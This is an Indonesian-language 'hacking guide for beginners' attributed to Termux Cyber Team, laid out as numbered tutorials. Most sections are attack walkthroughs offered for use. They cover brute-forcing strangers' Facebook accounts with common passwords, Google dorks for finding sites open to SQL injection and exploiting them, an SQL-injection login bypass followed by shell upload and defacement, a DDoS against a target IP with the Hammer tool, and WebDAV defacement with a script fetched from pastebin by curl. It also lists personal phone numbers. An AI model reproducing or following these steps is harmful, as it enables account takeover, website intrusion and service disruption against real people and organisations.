Buku Panduan Hacking Termux Cyber Team.pdf

BUKU PANDUAN HACKING BAGI PEMULA [TERMUX CYBER TEAM]

GUNAKAN BUKU INI DENGAN SEBAIK - BAIK NYA DI LARANG MEMPERJUAL BELIKAN!!!! TUTORIAL DI BUKU INI 100% DI LAKUKAN DI ANDROID

TERMUX CYBER TEAM© 2018

1 - CARA BUAT SCRIPT DEFACE DENGAN TERMUX 1.ketik : pkg install python2 2.ketik : git clone https://github.com/Ubaii/script-deface-creator 3.ketik : cd script-deface-creator 4.ketik : ls 5.ketik : chmod +x create.py 6.ketik : python2 create.py DONE! ikutin perintah nya lalu donekan untuk ambil sc nya ketik mv -f script.html /storage/emulated/0/ (tergantung ente mao di simpan di mana)

2. CARA HACK FACEBOOK DENGAN MULTI BRUTE FORCE (TERMUX) INGAT!!! MUNGKIN CARA INI HANYA 20% KEMUNGKINAN BERHASIL….,, JANGAN DI SALAH GUNAKAN!! ( CARA INI MERUPAKAN CARA YANG TARGET NYA TIDAK BISA DI TENTUKAN! ) - pkg update && pkg upgrade (enter) - pkg install python2 (enter) - pip2 install mechanize (enter) - pkg install git (enter) - git clone https://github.com/pirmansx/mbf (enter) - cd mbf (enter) - python2 MBF.py (enter) PENGGUNAAN NYA : - Silahkan Ketik No Berapa Metode Hack Nya, Ada 4 Pilihan Metode Daftar Teman, Dari Anggota Grup, & ID Dari File - Jika Anda Memilih No 1, Maka Anda Harua Login Dulu Ke Akun FB Anda Untuk Pengambilan ID Akun Orang Yang Mau Di Hack! ( Bukan Phising ) - Jika Sudah Login, Maka Silahkan Masukan Sandi Yang Sering Di Pake Orang², Contoh nya “Sayang”, Silahkan Ketikan Sayang, Terus Enter, Maka MBF Nya Akan Mencari Akun Yang Dengan Kata Sandi “sayang” - Jika Sudah Menemukan Akun, Maka Copy ID Akun Tersebut & Login Dengan Kata Sandi Yang Anda Tentukan Tadi :) JIKA KURANG JELAS, KONTAK SAYA : 082375688773

3. CARA DEFACE WEB VULN DI APLIKASI DROID SQLI 1. Pertama Kita harus Mempunyai Dork kemudian kita dorking dorking : inurl:? index.php id = inurl:? admin.php id = inurl:? pages.php id = inurl:? pages.php id = Kembangin Dork nya Lagi Biar dapat yang VLUN dengan imajinasi hentai mu :v 2.dorking ke google misal nya inurl:? index.php id = 3.Pilih salah Satu Web Contoh www.target.com/index.php?id=2 4. Sekarang Anda harus menambahkan ( ' ) pada akhir URL Untuk Mengetahui Web nya Vuln Dengan Sqli Atau Tidak contoh www.target.com/index.php?id=2' 5.jika Anda mendapatkan error seperti kesalahan pada MYSQL berati web nya vuln 6.sekarang kita esekusi dengan droid sqli droid sqli bisa di download di sini https://sfile.mobi/1OZ8wyy8esy7 7.masukan web target tadi www.target.com/index.php?id2 Tanpa ( ' ) 8.pencet injeck di atas kanan akan muncul data admin nya seterah mao diapain Sekian :')

4. CARA DEFACE DENGAN METODE BYPASS ADMIN DORK: "inurl:admin.php" "inurl:admin/login.php" "inurl:adminlogin.php" "inurl:adminhome.php" "inurl:admin_login.php" "inurl:administratorlogin.php" "inurl:/Manager/index.php "inurl:login/administrator.php" "inurl:administrator_login.php "inurl:admin/addproduct.asp" "inurl:admin/user.asp" "inurl:admin/ addpage.php" "inurl:admin/ gallery.asp" "inurl:admin/image.asp" "inurl:admin/adminuser.asp" "inurl:admin/productadd.asp" "inurl:admin/addadmin.asp" "inurl:admin/add_admin.asp" "inurl:admin/add_admin.php" "inurl:admin/addnews.asp" "inurl:admin/addpost" "inurl:admin/addforum.???" "inurl:admin/addgame.???" "inurl:admin/addblog.????" "inurl:admin/admin_detail.php" "inurl:admin/admin_area.php" "inurl:admin/product_add.php" "inurl:admin/additem.php" "inurl:admin/addstore.php" "inurl:admin/add_Products.???" "inurl:admin/showbook.???" "inurl:admin/selectitem.???" "allinurl:admin/addfile.???"

"inurl:admin/addarticle.asp" "inurl:admin/addfile.asp" "inurl:admin/upload.php" "inurl:admin/upload.asp" "inurl:admin/addstory.php" "inurl:admin/addshow.php" "inurl:admin/addmember.asp" "inurl:admin/addinfo.asp" "inurl:admin/addcat.asp" "inurl:admin/cp.asp" "inurl:admin/ productshow.asp" "inurl:admin/ addjob.asp" "inurl:admin/addjob.???" "inurl:admin/addpic.???" "inurl:admin/viewproduct.???" "inurl:admin/addaccount.php" "inurl:admin/manage.php" "inurl:admin/addcontact.???" "inurl:admin/viewmanager.???" "inurl:admin/addschool.???" "inurl:admin/addproject.???" "inurl:admin/addsale.???" "inurl:admin/addcompany.???" "inurl:admin/payment.???" "inurl:user/emp.???" "inurl:admin/ addmovie.???" "inurl:admin/ addpassword.???" "inurl:admin/ addemployee.???" "inurl:admin/ addcat.???" "inurl:admin/admin.???" "inurl:admin/admincp.???" "inurl:admin/settings.???" "inurl:admin/addstate.???" "inurl:admin/addcountry.???" "inurl:admin/addmedia.???"

"inurl:admin/addcode.???" "inurl:admin/addlinks.???" "inurl:admin/addcity.???" "inurl:admin/login.asp" "inurl:adminlogin.asp" "inurl:adminhome.asp" "inurl:admin_login.asp" "inurl:administratorlogin.asp" "inurl:login/administrator.asp" "inurl:administrator_login.asp "inurl:/admin/index.php?id=? "inurl:/admin/index.php?r=site/login" Kembangin lagi sesuai otk hentai kelean biar dpet yang perawan :v - Pilih salah stu dork di atas - Trs paste ke kan ke google - Nanti banyak website - Pilih salah satu nya yang menurut kelean perawan - Pasti akan muncul tempat login Isiin pw ama username nya '="or' - Trs klo vuln masuk ke admin panel nya - Seterah mao di apaain klo beruntung mah upload shell :v Terus tebas INDEX :v

5. CARA DEKORASI TERMUX $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install screenfetch $ pkg install nano $ gem install lolcat $ cd ../usr/etc $ nano bash.bashrc

6. CARA MEMBUAT FACEBOOK TANPA NAMA 1.masuk ke akun nya :v 2.pilih pengaturan --> pengaturan akun --> umum --> nama 3.ganti nama nya dengan font ini Nama Depan = (▓▒ ▓▓▓▓▓▒▒▒▒▓▓▒▓▒ 

) Nama belakang = () Hilangin Tanda kurung nya Selesai :')

7. CARA DDOS DI TERMUX DENGAN TOOLS HAMMER Hammer 1.apt update 2.apt upgrade 3.pkg install git 4.pkg install python 5.git clone https://github.com/cyweb/hammer 6.cd hammer 7.python hammer.py PENGGUNAAN : Ketik : python3 hammer.py -s[IP TARGET] -p[PORT TARGET] -t[TURBO] Contoh : python3 hammer.py -s28.383.393.9 -p80 -t135 (enter) Note : Hilangkan Tanda Kurung

8. CARA NGEMBANGIN DORK Mungkin seorang defacer sudah mengenal yang namanya dorking namun ada suatu ketika kita bingung stuck untuk mengembangkan sebuah dork. terus bagaimana si mengembangkan sebuah dork ? oke kali ini saya akan membahasnya. seblom kita mengembamngkan sebuah dork alngkah baiknya kita mengerti apa yg di maksud : 1. inurl / allinurl = untuk mencari string pada url. 2. intext / allintext = untuk mencari nilai string ( text ) pada web. 3. intitle / allintitle = untuk mencari judul atau title pada website. 4. site = untuk mencari pada web tertentu saja. 5. ext = untuk mencari extensi pada web ( bagi yang ga tau Ekstensi dari sebuah file adalah karakter yang terletak setelah titik terakhir dalam sebuah nama file. seperti .html .php .asp .txt dll ) contoh penggunaan : 1. inurl / allinurl = inurl:blabla/blabla/.../blabla 2. intext / all intext = intext:"blabla" atau intext:blabla 3. intitle = intitle:blabal 4. site = site:id, site:com dll 5. ext = ext:html, ext:php, ext:asp, dll di sini saya akan menggunakan dork di atas. saya akan mencoba untuk dork untuk SQLi Base64 yaitu : inurl:product.php?id=MQ== hasil dari dork tersebut : kita bisa lihat hasil dari dork tersebut yaitu 51 hasil. coba kita menggunakan allinurl : pada dork tersebut

inurl:product.php?id=MQ== hasli dari dork tesebut : kita bisa lihat ada perubahan hasil yang tadinya mendaptkan 51 hasil kini menjadi 48 hasilnya. sekarang kita coba untuk memilih salah satu website dan kita akan mencoba mengembangkan dork dari url web tersebut. di sini saya mencoba pilih website yang paling atas dan meliha lihat isi website tersebut : hal pertama yang saya lakukan ialah melihat masing - masing menu yang ada di web tersebut dan melihat urlnya sperti ini :

Kita bisa lihat website tersebut dan menampilkan sebuah url yang berbeda - beda di sini saya akan mencoba mengambil url salah satu menu pada tersebut ialah : http://www.chakshueng.com/product.php?id=MTE= dan saya akan mengambil url web terbut untuk saya jadikan dork ( bukan webnya ). urlnya ialah : product.php?id=MTE= dan kita lihat berpa hasil dari dork tersebut :

Disitu kita bisa lihat hasil dari dork url web tersbut ialah hanya menghasilkan 17 hasil saja :( bagamina kita akan coba menghpus product.php? dan hanya

menjadi inurl:id=MTE= kita lihat hasilnya.

dan wow dorknya menghasilkan sekitar 3,030 hasil :D banyak juga ya. dan kita akan mencoba untuk menggunakan allinurl:id=MTE= Kita bisa lihat hasilnya yaitu sekitar 3,040 hasil. sudah paham ya kegunaan inurl dan allinurl ? pastinya sudah paham kan :D oke saya kasih clue dan anda mudah - mudahan anda bisa mengerti. Bisa menggunakan @copyright pada suatu website. Bisa menggunakan Url pada menu website. Bisa menggunakan title pada menu login website. Bisa menggunakan extensi pada Url website. Bisa menggunakan text - text tententu pada website. oke sekian dan terimakasih sudah ingin membaca artikel saya semoba bermanfaat artikel yang saya buat ini.

9. CARA DEFACE POC WEBDAV DI TERMUX Bahan-bahan: -HP -KoneksiInternet -Termux -Scriptdeface -webvulnbuatdeface Kalianbisalihatwebvulnuntuk defacepocwebdavdibawahini↓↓ http:// newbiengenes.blogspot.co.id/ 2018/04/kumpulan-web-vuln-untukdeface-poc.html?m=1 Setelah bahan-bahan siap maka langkah selanjutnya adalah: Kita Install dulu Perintah-perintah yang digunakan untuk deface : $aptupdate $aptupgrade $aptinstallpython2 $pip2installurllib3chardet certifiidnarequests $aptinstallopensslcurl $pkginstalllibcurl $ln-s/sdcard $cdsdcard $mkdirwebdav $cdwebdav $curl-k-Ohttps:// pastebin.com/raw/HnVyQPtR $mvHnVyQPtRwebdav.py $python2webdav.py  _________________________________

Catatan:Sebelumkelangkah selanjutnya,PindahinScript defaceLoDiFolderWebdavYang UdahAda --------------------------------KalauUdahTinggalJalaninGini: $ python webdav.py http:// webtarget.com ScriptLo.html Contoh: $ python webdav.py http:// apparelworld.org hpc1.html

HANYA ITU UNTUK SEMENTARA, SETIAP MINGGU BUKU INI BAKAL DI UPDATE LAGI !!!

SEKIAN DARI KAMI

TERMUX CYBER TEAM MOHON MAAF JIKA ADA KESALAHAN DALAM PENULISAN PERINTAH NYA! JIKA ANDA BINGUNG, BISA KONTAK ADMIN : - Mr.$4y4/N34LF4R0{+} 0895635105583

- MR. END 082375688773 - MAYAT 089687339748 - MR.KINNEDI 083892551223 - MR. Jingklong 082256956297

Versi : 1.2.03